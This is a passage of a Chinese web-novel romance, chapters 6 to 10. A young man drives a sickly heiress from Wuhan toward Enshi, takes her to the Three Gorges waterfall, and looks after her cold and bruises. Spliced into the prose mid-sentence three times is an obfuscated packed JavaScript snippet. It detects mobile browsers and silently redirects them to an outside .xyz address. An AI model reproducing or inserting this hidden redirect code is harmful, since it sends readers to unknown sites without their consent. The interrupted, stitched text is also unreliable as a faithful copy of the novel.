“什么故意……我是特意带你来这里吃早餐,但我可真没让她说刚刚那些话。” 邬雪青在桌下翘的脚踢了踢他裤腿,眉眼飞扬,“那你需要我给你个机会吗?” 叶嘉木知道她又在拿自己逗闷子了,嘴角抿了下去,硬邦邦说:“很用不着。” “……” 邬雪青不爽地踹了他一脚,“不识好歹的东西。” 叶嘉木干脆改口:“要,现在就要,能给吗?” “想得美!” 叶嘉木:“……” “癞蛤蟆想吃天鹅肉!”邬雪青白他一眼,“我不喜欢你,你就死了这条心吧!” 他真是贱啊。 非得给自己找点堵添。 邬雪青一拨长发,骄傲道:“不过也能理解你,毕竟我这样集美貌、善良、智慧于一体的女子,如果我是你,我也会深深地爱上我自己的。” 叶嘉木掰开包子喂进她嘴里,“吃点吧殿下,饿得都开始说胡话了。” 一桌桌的客人进来,店里只有老板一个人在张罗。她挺着约莫六七个月的肚子,依旧健步如飞,里里外外忙得井井有条。 来的有些客人大抵是熟客,上餐时和老板交谈两句,问问预产期,说说生意。 还有家长带着小孩来吃早餐,两个小朋友打打闹闹围着桌子转圈圈,一个小男孩从大人胯-下钻过去,被大人揪住打了好几下屁股,哇哇大哭。 邬雪青笑出了声。 她支着下颚,没怎么吃,大部分时间都在看别人聊天,时不时被叶嘉木投喂一口包子、豆浆,愉快地吃完了一顿早餐。 大概是起太早又晕碳水,吃过早餐,回酒店路上,邬雪青又困了,在车上眯了会儿,一下竟然睡了过去。 迷迷糊糊听到有人在说话,她睡得不大实,扭头看去,瞧见叶嘉木单手插兜,正站在车外打电话。 “嗯,我要在武汉待个两三天,你们先到成都的话,就到德钦再汇合吧。” 他要在武汉待两三天?为什么? 邬雪青耳朵刚竖起来,在叶嘉木回头看过来时又立刻闭上眼睛装睡。 车内空调没有关,温度有些低。 她听见旁边车门轻轻拉开的响动,下一秒,一件外套伴随暖风盖在了她身上。 她睁开一只眼,和叶嘉木线条硬朗的侧脸对个正着。 叶嘉木一抬头,看见她黑黝黝的眼睛,挑眉道:“醒了?” 邬雪青没起身,还歪斜靠着,问他:“你不是要去重庆吗?还不出发?” 知道她听到他刚刚打电话了,叶嘉木直接道:“等你回家了,我再出发。” “那我要是一直不回去呢?” 她看着他眼睛轻声说。 7. 第七章 她有恃无恐的小表情也实在可爱。 叶嘉木故意威胁道:“那我只能打电话给邬姨告状了。” 她牙痒痒,“你是男人吗,就会告状!” “我是不是男人,要不要给你验一验?” “死变态!”她伸手狂锤他。 叶嘉木握住她手腕,笑着“哎”一声,收敛了玩笑的神情,道:“不闹了,你一个人在这我真不放心。你如果想回家了,我送你回去,你还不想回去,就跟我走。” 邬雪青抿唇没有回答。 叶嘉木松开了她的手腕,道:“不着急决定,你好好想想,等你想好。” 邬雪青别开头,“行吧,但今天是你求我跟你一起去的。” 他得寸进尺,又捏她脸颊,“没有殿下,我这一路得多无聊,自然是我求你了。” 回酒店整理完行李,从武汉出发,前往八百公里外的重庆。 叶嘉木道:“殿下,今天还是开6个小时,刚吃完早餐,我们午餐稍微晚一点,到宜昌吃,下午五六点左右能到恩施。” 邬雪青对这些位置都没什么概念,反正开车的也不是她,她只管上车倒头就睡。 她打着哈欠上车,车一开,她就盖着毯子闭着眼睛睡了。 下午一点,肚子饿了,她往外一看,发现还在高速上。 “什么时候到宜昌啊?”她已经睡得脖子疼腰疼了。 “快了,马上下高速,半个小时后我们去吃饭。” 邬雪青看了下手机。 邵叔给她发了消息,问她:雪青,你们到哪里了? 邬雪青气还没消,没回,直接关了手机。 半个小时后,他们抵达了宜昌的一家餐厅。 叶嘉木先把菜单递给她。她习惯了身边人将一切都安排好,顺手又把菜单递回给了叶嘉木。 “没有你想吃的吗?”叶嘉木问。 “你看着点吧,都行。” 邬雪青家里是不允许挑食的,青菜也好,海鲜也好,只要不是过敏,上了餐桌就必须吃。 当然也不允许暴饮暴食,哪一道菜吃得过多,那接下来一个月这道菜都不会再上餐桌。 这也间接导致她从小就觉得吃饭是件很没意思的事。 叶嘉木按她的一贯口味点了猪肚炖茶树菇、莲藕排骨汤又加了一份当地的宜昌肥鱼和泡椒鱼泡。 “你对湖北很熟?”邬雪青问叶嘉木。 叶嘉木说:“还行,不止湖北,很多城市我都去过了。” “那你这几年就一直在外面到处跑吗?” “嗯,公司产品做起来后经常要去各个城市出差,跑供应商,经销商,搞产品推介,慢慢也就各个城市都混熟了。” 邬雪青若有所思。 “在想什么?” 邬雪青摇摇头,问他:“你们这次进藏是要做什么?” “拍产品广告。” “你还亲自盯啊?”邬雪青挑挑眉。 “这次的广告很重要,事关双十一。” 邬雪青对生意上的事兴致寥寥,简单聊两句就没兴趣了。 今天这家店不是网红店,客流量不大,餐厅菜上得很快,没多一会儿就上齐了。 叶嘉木给她打了一碗汤,“尝尝。” 邬雪青抿了一口,汤的味道意外很不错,菌菇的清新和猪肚的醇厚结合在一块,极其的鲜香美味。 不知不觉间,她竟然喝完了两碗汤,期间叶嘉木还给她添了一碗饭。 直到吃到完全塞不下任何东西了,她才放下碗。 “第一次看你吃这么多。”叶嘉木纳罕说。 邬雪青靠在椅子上,有点撑了,“那你是没看见我在美国的时候,有段时间特别暴饮暴食,两个月胖了十五斤。” “什么东西这么好吃?” “就是每天都觉得很饿,什么都吃。” 叶嘉木斟酌片刻,问:“是不是压力太大了?一般人压力大的那段时间都会有些暴饮暴食。” “真的?我以为就我不正常呢,我妈跟我打视频吓一跳,就安排了营养师盯着我减肥。” “你不胖啊,现在已经偏瘦了,别说十五斤,就是再吃二十斤,你也就是正常体重。” “之前还好的,后来有段时间又不怎么想吃东西了,然后又瘦了二十斤,气球一样一会涨一会缩。” 叶嘉木顿了一下,“有去医院检查原因吗?” 她耸肩,“查了,没什么原因。” “是读博有压力吗?” 邬雪青摇摇头:“我和导师一年也见不了几次面,他也从来不问我研究进度。” “那怎么突然不想读了?” 邬雪青转开了头,下意识抱起胳膊,“就是觉得没意思,我也不喜欢美国。” “我还以为你会在那边定居。” 邬雪青疑惑:“为什么会这么觉得?” “你在美国待了好几年了。” 邬雪青撇嘴:“待了好几年,也没见你过来找我玩,我都无聊死了。” “我去了三次纽约,一次你在拉斯维加斯,一次你去了东帝汶。” “那时候正放假,我肯定出去玩了呀!” “玩比我重要呗。” “提前定好的行程,总不能因为你要来纽约我就不去了吧。” “心寒,真正的心寒不是大吵大闹……” “少来,谁让你每次都不提前打招呼。” “那也……” 正闲聊天,叶嘉木手机响了。 他看了下来电人,坐直身接通了电话。 “邵叔。”他先打招呼。 电话那边的男人道:“小叶,你们到哪了啊?” “我们现在在宜昌,今天能到恩施。”他回答。 邵项均关心道:“这么远啊,就你一个人开吗?” “您放心,走高速,路我都熟。” “雪青还在吗?” “在的,要她接电话吗?” 男人笑了一下:“她愿意接吗?” 叶嘉木捂住声筒,和邬雪青低声说:“是邵叔。” 邬雪青脑袋往窗侧一撇,态度显然——不接。 叶嘉木轻咳一声,道:“邵叔,雪青去洗手间了,这会儿不方便接电话。” 邵项均笑笑:“她还和你在一块就好,你邬姨还说她在武汉肯定就自己走了,我说不能,看吧,还是我说对了。” 只能说知子莫若母…… 叶嘉木只笑笑,不说话。 “要不是你邬姨她最近就要动手术了,又怕……唉,小叶,路上你多照顾雪青一点,如果雪青有什么不舒服,你打个电话来,我派人来接她回家。” “好,您放心,也让阿姨注意身体。” 从宜昌出发,去往恩施还有好几百公里的路。 吃过饭,叶嘉木和邬雪青道:“路上有几个景点了,你想去参观的话我们待会下高速去转转。” 邬雪青问:“什么景点?” “三峡大瀑布和恩施大峡谷,你可以在网上搜搜,看看感不感兴趣。” “你都去过了吗?”邬雪青问。 叶嘉木摇头:“之前也是路过,没有时间去。” 听到他也没去过,邬雪青勉为其难打开网络搜了一下他说的两个景点。大峡谷一搜全是各种吐槽线路不合理的避雷,瀑布倒是看着还行。 她心情稍微转好了一点,勉为其难道:“行吧,离得近的话那就去三峡大瀑布看看吧。” “我们待会儿从宜昌北的出口下高速,十几分钟就到了。” 从饭店出发,半个多钟头后,他们抵达了三峡大瀑布附近。 比起外面的炎热,瀑布山谷内清凉不少,带着些许水汽的凉凉冷风习习而来。 邬雪青长长地呼吸了一口新鲜空气。 现在是工作日,景区人也不多。 他们很顺利地买票进门,坐上观光车去检票口,一直到进了景区也没看见多少人。 在国外那几年她没少往外跑,却很少来国内的景点。 她总觉得这些地方应该是一家三口来的。 很“幸运”。 如果她爸妈各自带上他们的情人出门,大概至少能凑出一家五口。 不过邬女士和老季总是忙得永远不可能有交集时间的。 邬雪青有时候觉得他俩应该是百忙之中抽空生了个孩子,之后便连吵架的时间都没有就自然而然地分居了。 小溪两侧被藤蔓缠绕的高大树木连结在一块,弯拱出一片遮天蔽地的绿荫道,有一家三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996355|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口站在树荫下拍照。 她站在一旁等他们先拍完。 “雪青,你想拍照吗,我帮你拍。”叶嘉木举起了相机。 她摇头:“不拍。” 邬雪青穿的是小猫跟的高跟鞋,也只穿了这一双高跟鞋出门,今天走了不少路,漂亮的高跟鞋中看不中用,磨得她脚疼。 叶嘉木带着单反相机,背着背包走在她身后。见她扭身回头看脚后跟,便了然是鞋的问题。 “刚刚入口我看有卖鞋的,要不要换双鞋?” 邬雪青眉头紧皱:“麻烦死了。” “你等会儿,我给你去拿,很快,几分钟就回来。” 邬雪青最讨厌等人了,“不要。” “那你穿我的?” 叶嘉木穿的是运动鞋。 邬雪青更嫌弃了,“不要!” “那怎么办?”叶嘉木拍拍后背,“我背你上去?” “啰嗦死了,快走。” 又走了一段距离,终于到了瀑布附近,邬雪青气喘吁吁。 叶嘉木把雨衣给她穿上,自己脱了外套往背包里一塞。 他们运气真的很不错,没有做足攻略,随心来了瀑布景点,正好还是丰水期。 流水如注般飞流直下,溅起的水花淋湿了小径,通向瀑布后的石板路湿滑。 叶嘉木担心她穿着高跟鞋滑倒,走在石板外侧,将她护在里面。 这一举显然很有先见之明。 刚走了没几步,就见邬雪青脚下一滑。 叶嘉木一把接住了她。 瘦瘦的腰肢软得像绸缎,没什么重量地压在他掌心上。 他喉结滚了一下,声音有些沙哑,“扭到脚了吗?” 邬雪青“嘶”一声,紧皱起眉头。 叶嘉木把她拉到靠崖壁的一侧,蹲下身握住了她的脚踝检查,又抬头问她:“疼吗?” 她抿住了唇,扭开头,移开了视线。 叶嘉木直接脱下了她的鞋,不容她反抗道:“这边太滑了,等过了瀑布再把鞋穿上。” 邬雪青光脚踩在湿润的石板路上,体验很新奇,像解开了笨重的束缚,忍不住小跑着往前走。 叶嘉木单手拎着一双高跟鞋大步跟在她身后。 走到瀑布下,激烈的水流倾泻而下,不少人挤在这儿脱了雨衣打卡。 邬雪青伸手想接瀑布水。 淅淅沥沥的水花溅在她掌心上,像雨,像冰。 叶嘉木举起了相机。 此刻的她不再是那个精致得像洋娃娃一样的大小姐,清澈的眼睛里只有流水和浪花,像一个对世间万物充满好奇的小姑娘。 也最接近,叶嘉木记忆里的那个邬雪青。 他按下了快门。 走过瀑布群,他将雨衣披回了她身上。 浅色的吊带外套已经被打湿,有些透肤,她发丝也彻底湿了,湿漉漉地滴水。 走出山谷,一阵风吹来,她扭头打了个喷嚏。 叶嘉木抽出几张纸巾把她脸上和头发上的水擦了擦,道:“待会把我的外套穿上,别感冒了。” 邬雪青抬起脚,给他看脏兮兮的脚底板。 叶嘉木看看旁边的小溪,“来这边洗一下,把鞋穿上。” 邬雪青赤脚下了小溪。 清澈见底的小溪正好覆过脚面,她玩心大起,踢起了水。 叶嘉木刚将背包放下就被她踢了一身水,无奈道:“邬雪青!” “叫姑奶奶干嘛?” 邬雪青弯腰捧起一捧水,正准备往他脸上洒去,披在她身上的雨衣被水流一冲,先被溪流卷了去。 叶嘉木哎一声,赶紧跳下水,跑两步给她捡回了雨衣。 鞋袜已经湿了,叶嘉木拉着她到岸边,指着背包道:“老实坐下。” 邬雪青撇着嘴坐在了背包上。 叶嘉木握起她脚踝,把脚面上的水擦干,放在岸上。 阳光透过树荫照在地面上,她的脚背白皙纤细,被石子和鞋带磨红的地方格外醒目。 叶嘉木认真看了看伤口,倒没破皮,回头擦点软膏就好。 她垂眼看着他。 水滴沿着他额发落下,顺着高挺的鼻梁往下滴,邬雪青伸手,白皙柔软的指腹按在了他的鼻梁小痣上。 8. 第八章 “嗯?”他抬头。 邬雪青慌乱转开了眼:“有小虫子。” “山里正常。”他又低回了头。 溪水倒影里他低头的模样专注,她却心绪麻乱,不由伸腿,踩碎了水面倒影。 “啧。”他又被溅了一身水,抬头瞪她,“还闹,幼不幼稚?” 她别过头去不说话。 叶嘉木将外套从背包里拿出来,披在她身上,又把已经湿透的雨衣团成团扔进垃圾篓。 邬雪青穿上鞋,有些踉踉跄跄地想站起来。 余光瞥见她脚下打滑,叶嘉木伸手捞住了她手肘。 “能走吗?”他问。 邬雪青抬起脚,“你来试试?” “给我穿小鞋啊?我可穿不下。”他笑一声。 叶嘉木拎起背包,往胸前背着,又蹲下身去,拍了拍右肩:“上来吧,公主殿下。” 山路陡峭。 邬雪青也不逞强,趴在了他后背上,看看一侧的小溪,不太放心地叮嘱:“敢松手你就完蛋了!” “我在你那就连这点信誉都没有吗?” 她哼一声,还是圈紧他脖颈,又夹紧他的腰,像树袋熊一样挂在他后背上。 叶嘉木托高她的膝窝,身前挂着一个大包,一个相机,身后还背着一个人,称得上是负重越野地从小路大步走下来。 手臂贴着他隆起的喉结,触感奇怪,邬雪青想调节姿势,胸口却总随着他下山的步伐撞击着他的后背。 “殿下,再动就要掉下去了。” 她胡乱找了个借口,“你肩膀太硬了,都膈到我了。” 意识到什么,他闭上了嘴,又往上掂掂她,弯了弯腰。 有大爷回头看了他俩好几眼,歇脚时忍不住向叶嘉木竖起了大拇指,“小伙子,太厉害了。” 叶嘉木笑了笑,背着邬雪青继续往出口走。 邬雪青趴在他脖颈边,揪揪他耳朵,“你不谢谢我?” “谢你什么?” 她理直气壮:“我给了你表现的机会啊!” “……那我可真是太谢谢你了。” “阴阳怪气。”她拽拽他耳垂。 他故意脚下踉跄一下,“哎唷。” 邬雪青吓一跳,手指用力抓紧他肩膀,“要死啊!” “谁让你碰我耳朵的?你这是性骚扰。” 邬雪青脸上的红瞬间炸开了,用力锤了他两下,“谁要性骚扰你!要点脸好不好?” 他笑得张扬。 尽管身上背满了行囊,可他脚步轻快,仿佛大获全胜的将军。 到了出口处,他找一家小店借了吹风机,又买了一双拖鞋给她换上。 “小伙,对女朋友真好。”老板促狭地说。 吹风机呜呜地吹,邬雪青没有听清,疑惑侧头看叶嘉木,只听到他腆着脸回应了一句:“那必须的。” 离开三峡大瀑布,还要赶路去恩施。 叶嘉木拿了一套衣服给她,又用外套遮住一侧车窗,背靠着另一侧车窗,等着她换衣服。 邬雪青脱下裙子,用上衣遮着胸口,抬眼往窗外看,他还穿着那件打湿的黑色上衣,一只手插兜,守在车外。 她闻闻叶嘉木拿给她的衣服,短袖上有淡淡的香味,是洗过的新衣服。 换好衣服,她敲了敲车窗,“好了。” 叶嘉木拿下挡着车窗的外套,放到了副驾驶座上。 邬雪青把换下来的裙子也递给他:“帮我放前面吧。” “嗯,”他接过裙子放在自己外套上,“还有两百多公里到恩施,要开三四个小时,要不要去洗手间?” 今天已经超长待机了,累死。 邬雪青用手背遮着唇打了个哈欠,“不去,快点走吧,我困了,想去酒店睡觉了。” “嗯,你眯会儿,睡醒就到恩施了。” 行程一刻不停,从下午又开到了晚上,顺利抵达他们今天休息的地方。 邬雪青太困了,一下车就说了句不吃晚饭了,到了房间门口,又交代说不要一大早把她吵醒,接着关上门就进去休息了。 叶嘉木回了房间,没有急着洗漱休息,而是先把相机里今天拍的照片先导出来。 镜头里的殿下,终于没有那股待在家里时沉闷的郁气了,眼睛亮晶晶的,站在瀑布下被水浇得湿透了在笑,站在溪水里嬉戏时也在笑,发丝黏着脸颊,满身甚至是有些狼狈。 可她很开心。 把照片看完,叶嘉木导了一些拍得还不错的照片发给邬雪青。 那边很快显示起“正在输入中……” 她引用了一张图片,说:这张删了,丑死了。 是张仰着脸笑的照片,正对着阳光,显得眼睛都快笑没了。 叶嘉木倒是很喜欢这张,回复得也很快:很好看,不删。 邬雪青:?你是不是欠揍 叶嘉木:有本事来揍。 邬雪青:(炸弹) 叶嘉木:(黑脸小人) 叶嘉木:我给你泡包感冒药,你把感冒药喝了再睡。 她那边没回复。 殿下身体一向不好,稍微一点风吹雨淋就会生病。叶嘉木早早准备了药箱,正好待会再去给她把脚上磨伤的地方处理一下。 他从背包里拿出便携式的加热水壶,倒进去一瓶矿泉水,烧上热水。 酒店里的杯子殿下肯定是不会用的,他备了两个保温杯,正好能给殿下用上了。 泡好了感冒药,又带着去红肿的软膏,他去对面敲了邬雪青的门。 早知道大小姐磨蹭的性格,他很有耐心地敲了五六分钟,才等到门被打开。 邬雪青刚洗完澡,身上还围着浴巾,拉开一点门缝警惕地盯着他:“干吗?” 叶嘉木把手里的东西递给她,“感冒药,还有外伤软膏。我就不进去了,你把药喝了,把脚上磨伤的地方擦一下。” 邬雪青一只手拽着浴巾,伸出一只手臂先接过保温杯,警告道:“不许偷看啊。” 叶嘉木“啧”一声,背过身去。 等她把保温杯拿回房间,又等她出来把软膏和棉签拿进去。 “还有什么事吗?”她露出半只眼睛问。 叶嘉木道:“没别的事了,明天早上九点半我来叫你起床,这时间可以吧?” “明天再说。” 门飞快地在他面前拍上了。 叶嘉木笑着摇摇头,回了自己房间。 邬雪青擦了擦头发,盘腿坐在床上,先拧开叶嘉木给她的保温杯闻了闻。 一股感冒灵颗粒的味道。 她有点嫌弃地皱了皱鼻子,还是小口小口地抿了几口。 保温杯是粉色的,有点磨砂软皮的质感,摸着还挺特别,她转了转杯身,在杯面上看到了叶嘉木公司的LOGO。 他这公司真是包罗万象,什么产品都做。 喝了半杯感冒药,感觉身上有些发热了,邬雪青就把杯子放到了一边,研究起他给她的软膏。 好像是消炎的。 她挤出药膏,用棉签沾着擦了擦脚上不明显的伤口。 扔在旁边的手机亮了下,她瞥了一眼,是叶嘉木发来的消息:感冒药喝了吗?药擦上了没有? 她拿起手机,点开相机拍了一张擦了药膏的脚跟照片发给叶嘉木。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996356|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶嘉木点进她发的消息看。 她发来的照片拍了一截白皙的小腿和脚跟,透明的乳膏擦在淡粉色的伤口上。 叶嘉木默默按了保存。 下一条消息很快又来了:喝了,擦了,叶管家! 邬雪青吹干了头发,准备休息了。 在国外待了好几年,最开始是时差倒不过去,后来是昼夜颠倒,再后来是完全睡不着觉,只能靠褪黑素补觉。 但是和叶嘉木出来的这两天,每天晚上她几乎都是沾枕头就睡着了。 像她这种体虚、气血不足、先天不良,各种BUFF叠满的人,大毛病没有,小毛病不断,身体电量常年处于及格线以下,稍稍一累,就能断电关机了。 睡前她又看了眼手机,收到他的一条消息:看朋友圈。 她一点进他朋友圈,就看见了自己的照片,还被P了一个菲菲公主的猪头挡住脸,配文:和猪猪公主出发的第二天。PS.殿下今天玩水很开心。 她气得从表情里找到一个发怒的表情,按了几大排轰炸给他。 朋友圈冒出很多气泡,在众多询问照片里这位是谁的评论中,叶嘉木只挑了那一长串的发怒表情回复:早点休息,殿下。 第二天一早,还不到九点半,邬雪青就醒了。 鼻子堵堵的,有点不太妙。 到了九点半,叶嘉木准时打电话给她。 邬雪青接通了电话,没吭声。 叶嘉木声音清越:“殿下,起来了吗?” 邬雪青闷闷“嗯”了一声。 “嗯?”叶嘉木听出了不对劲,“你嗓子怎么了?感冒了?” “不知道,可能感冒了。” 她一说话,更听得出声音带上了鼻音。 叶嘉木当机立断道:“你先把衣服换好来开门,我来拿保温杯,给你再泡包感冒药。” “好。” 门很快响了。 邬雪青拉开门,恹恹地把保温杯递给他。 叶嘉木接过保温杯,又伸手探了探她额头的温度。 应该没发烧,但以防万一,叶嘉木还是把温度计递给了她。 “干什么?” 邬雪青脑袋有点晕晕的,没反应过来。 “体温计,夹在腋下,五分钟后看体温,会用吧?” “我又不是傻子。”她嘟囔着接过体温计。 叶嘉木晃晃保温杯,感觉里面还有水:“昨晚怎么没把药喝完?” “太多了,喝不完。” “行吧。” 见她又穿件小吊带,叶嘉木道:“多穿点衣服,别再着凉了。” “知道了。”她啪一下又把门关上了。 叶嘉木回自己房间,把保温杯里昨晚的感冒药倒出来,冲洗了一下,又用烧好的热水烫了一遍,重新冲了一包感冒药,不过这次只放了小半杯水了。 估摸着五分钟的时间差不多了,叶嘉木又来敲了敲殿下的房门。 邬雪青拉开门,把体温计递给他。 他举起体温计,对着光处看了看水银显示,三十六度八,不到三十七度,还算正常。 “应该没发烧,你把感冒药先喝了,我待会给你把早餐拿过来,如果吃了早餐还是不舒服,我们去医院看看,今天休息一天。” “嗯。”她没精打采地应一声。 蔫蔫的,像霜打的茄子一样。 叶嘉木放轻了声音:“我去买早餐了,要是头晕或者想吐,打电话给我。” “嗯呐。” 叶嘉木看她蔫蔫地回了房间,手指悬在门把手上,踌躇了一瞬,自责地轻叹口气,给她拉上了房门。 9. 第九章 刚醒的时候,邬雪青感觉哪哪都不舒服,嗓子疼,头晕,鼻塞。 大概是一起来就喝了杯热感冒药,过了半个小时,她身上不舒服的症状减轻了,嗡嗡作痛的脑子也好多了。 洗漱过后,邬雪青拉开窗帘往外看。 今天又是一个大晴天,艳丽的阳光刺得眼睛疼,仿佛能把人烤干。 她简单收拾了下行李。 按叶嘉木原定的行程,今天就该从恩施去重庆了。 门铃响了起来。 邬雪青裹着披肩拉开房门。 叶嘉木拎着两个打包袋站在门口,微微地有些喘,身上还带着一阵阳光晒过的热意。 邬雪青眨眨眼睛,有些错愕:“这么热的天,你走路去买的早餐?” “附近有一家商场,就几百米,我跑两步锻炼锻炼。”他举起手里的袋子,“看看你想吃什么,多少吃点东西。” 他额角有汗,满身热气。 邬雪青仰头看他一会儿,拉开了门问:“进不进来?” “那我可太荣幸了。” 他欠欠地笑了下,却没往里进,只撑着门框把袋子递给她,“我在餐厅吃过了,就买了单人份的,你拿进去吃吧。” 邬雪青没接,只是把门拉得更开了。 房间里空调气吹出来,吹散了他一身燥热。 邬雪青朝房间里一侧头,“帮我放桌上。” “殿下,你就这么大剌剌邀请我一个成年男性进你房间?就不怕……” 邬雪青懒得跟他废话,拉着他衣襟往房间里一拽:“少废话,我房间冷气都被放跑了。” 他踉跄着走了进去,唇齿打了个磕巴,“殿下,你可长点心吧,这里就你一个女孩子,一个成年男性进你房间,你知道有多危险吗……” “你是第一次进我房间吗?少给自己贴金。” “之前在你家,又不是只有我们两个。”他红着脸辩驳。 “啰哩巴嗦,你有本事就试试对我干点什么,那样明天你就能在暗网看到你身上每个器官的单价了。” 叶嘉木:“……” 稍有夸张,但也不是没可能。 他喉结滚了一下。 邬雪青往房间里走去,薄薄的睡裙只遮到她大腿,白皙的小腿肚上有一片显眼的青紫色。 叶嘉木四处飘的眼神一凝,“你腿上怎么回事?” “什么怎么回事?” 她低头看看自己腿,什么异样也没看见。 “后面,小腿。” 邬雪青侧头又往后看,看见了小腿上一片青,“噫,什么时候撞到了,我都没注意。” “怎么这么笨,撞伤了都没感觉?我给你去拿药。”他将早餐放在桌上,闷声说。 邬雪青指向床头的药膏,“这个可以用吗?” “也可以。” “那就涂这个吧。” 她在餐桌边拉开椅子坐下,打开袋子看了眼里面的早餐。 终于不是包子油条豆浆了。 她揭开餐盒盖子看了一下,是元贝花胶粥,还有一份晶莹剔透的虾饺。 夹起虾饺咬了一口,能尝出是手工的虾饺,还有松茸的味道,不错。 吃了两口,她扭头看,叶嘉木还站在一边没动,仰头盯着天花板。 她也仰头往天花板看,不明所以,“你在看什么?” “没什么。”他立刻闷声道。 邬雪青晃晃腿,“没看见我在吃早餐吗,你就不能帮我搽一下药吗?” “哦……好。” 叶嘉木几乎是同手同脚地绕过沙发,走到她床头拿起药膏。 待他走回来,邬雪青指指餐桌旁另一条椅子。 叶嘉木拉过椅子,低着头把药膏从盒子里拿出来,拧开盖子,将药膏挤在棉签上。 邬雪青一边低着头吃虾饺,另一边抬腿搭在了他的腿上。 呼吸一滞。 叶嘉木低着头,闷声不吭地握着她小腿侧了侧,将药膏轻轻擦在她小腿上。 感觉小腿凉凉痒痒的,邬雪青转头看,就看见叶嘉木一边给她搽药,下意识给她吹了吹。 她踢了他一下,“干嘛,又不疼。” 叶嘉木唰地并上了腿,恼怒地瞪她一眼,“不要乱动。” “痒死了,拜托你动作快点。” 他握着她小腿的手掌更用力了些,将腿肉掬成一掌,禁锢住她乱踢的腿,没好气地说:“忍着!” 搽完小腿,他又顺手换了两根棉签,把她脚上的小红印一并搽上,想起来件事,又说:“我刚刚在商场看到有品牌专柜,和柜员说了你的鞋码,让他们选几双适合走路的鞋送来,你待会试试。” “你买的鞋肯定很丑。” “比你那些中看不中用的要好。换只脚。” 邬雪青把另一条腿也放到他腿上。 “叶嘉木,你为什么脸这么红?”她忽然惊奇问。 “跑步跑的。”他说。 “跑步耳朵也会红吗?” 他不吭声,动作飞快地把她脚上药搽完,然后把她腿放下,扔了棉签,起身道:“你慢慢吃吧,我去给你把保温杯冲一下,再烧点温水。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996357|178187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你说的柜姐什么时候来?” “应该很快,来了会打我电话的……”他顿了一下,闷闷说,“待会有人进来,你把房间收拾一下吧。” “我房间怎么了?” “你自己看沙发。” 邬雪青慢条斯理一回头,看到了自己扔在沙发上的内衣。 “不就是衣服吗,有什么不能看的。” 叶嘉木:“……” “你帮我叫一下客房服务,拿去清洗一下吧。”公主吩咐。 “酒店的洗衣机不干净。你昨天换下来的裙子,我给你拿去店里清洗了,下午会送过来。” 邬雪青若有所思:“店里就干净吗?” 叶嘉木:“……” 显然触及了共同的知识盲区,大少爷和公主殿下面面相觑。 “买新的吧。”邬雪青干脆说。 叶嘉木问:“新的不用洗可以直接穿吗?” 邬雪青撑下巴呆住。 “要不,你手搓一下?”他提议。 邬雪青非常坦诚:“我可不会洗,在家里都是阿姨洗的。” “……你不会是想要我给你……?” 邬雪青点头点头:“你不是高中就寄宿了吗,肯定会洗衣服吧。” 叶嘉木差点跳起来,瞠目结舌,“邬雪青,这是你的……你的……” 邬雪青在额头和肩膀各划了一下,“阿门,当你的心纯洁的时候,内衣也就是件衣服而已,我相信主会原谅你的,带它去吧。” “我谢谢你啊!” 叶嘉木掉头就大步往外走。 “嘉木哥哥。” 她叫住他,声音软软地,可怜巴巴地问:“你真的不帮一下我吗?” 色令智昏! 助纣为虐! 叶嘉木盯着洗手台里的内衣,感觉自己的大脑已经被马桶冲走了。 他低着头,矮着身,佝着腰,打开水龙头,浇上洗衣液。 泡泡溢了出来,他匆匆关上水龙头,鼓起勇气拿起内衣,非常小心翼翼地搓了一下。 ……好软。 岩浆直冲大脑,叶嘉木几乎是用肉眼看见一道红线喷了出来,淋红了池水。 他立马抬头,用手掌捂住了鼻子。 他悲哀地想。 完了。 他这辈子一定会死在邬雪青手里。 洗手间水声哗哗响。 房间内,邬雪青咬了咬筷子。 她严肃地抿住唇,想象了下叶嘉木苦大仇深给她搓内衣的样子,没抿住,噗嗤一下,两侧唇角翘了起来。 10. 第十章 衣服洗干净后,叶嘉木环顾一圈,找个衣架挂上,推开浴室窗,将衣服晾在窗口。 现在天气炎热,太阳曝晒,不到两个小时衣服就能干了。 他冲冲手,又洗了一把脸,走出卫生间。 邬雪青吃过早餐,正倚在沙发上打电话。她手指卷着头发,只时而百般聊赖地“嗯”一声。 看见叶嘉木出来,她抬了下下巴,示意自己吃完了。 “现在在湖北呢。没有,就和朋友出来玩。”她说。 “不知道什么时候回来,还没决定呢。巴黎啊……我不去,不想动。” 她口吻随意亲近,没有一贯的倨傲,即便是拒绝也带着些小姑娘的撒娇语气。 叶嘉木听了几句,面色微微沉凝,他走到餐桌旁,慢吞吞将她吃过的早餐盖回去。 “哪天呀?喔,江虹雨过生日那天……记得,怎么,有人跟你告状啊?” 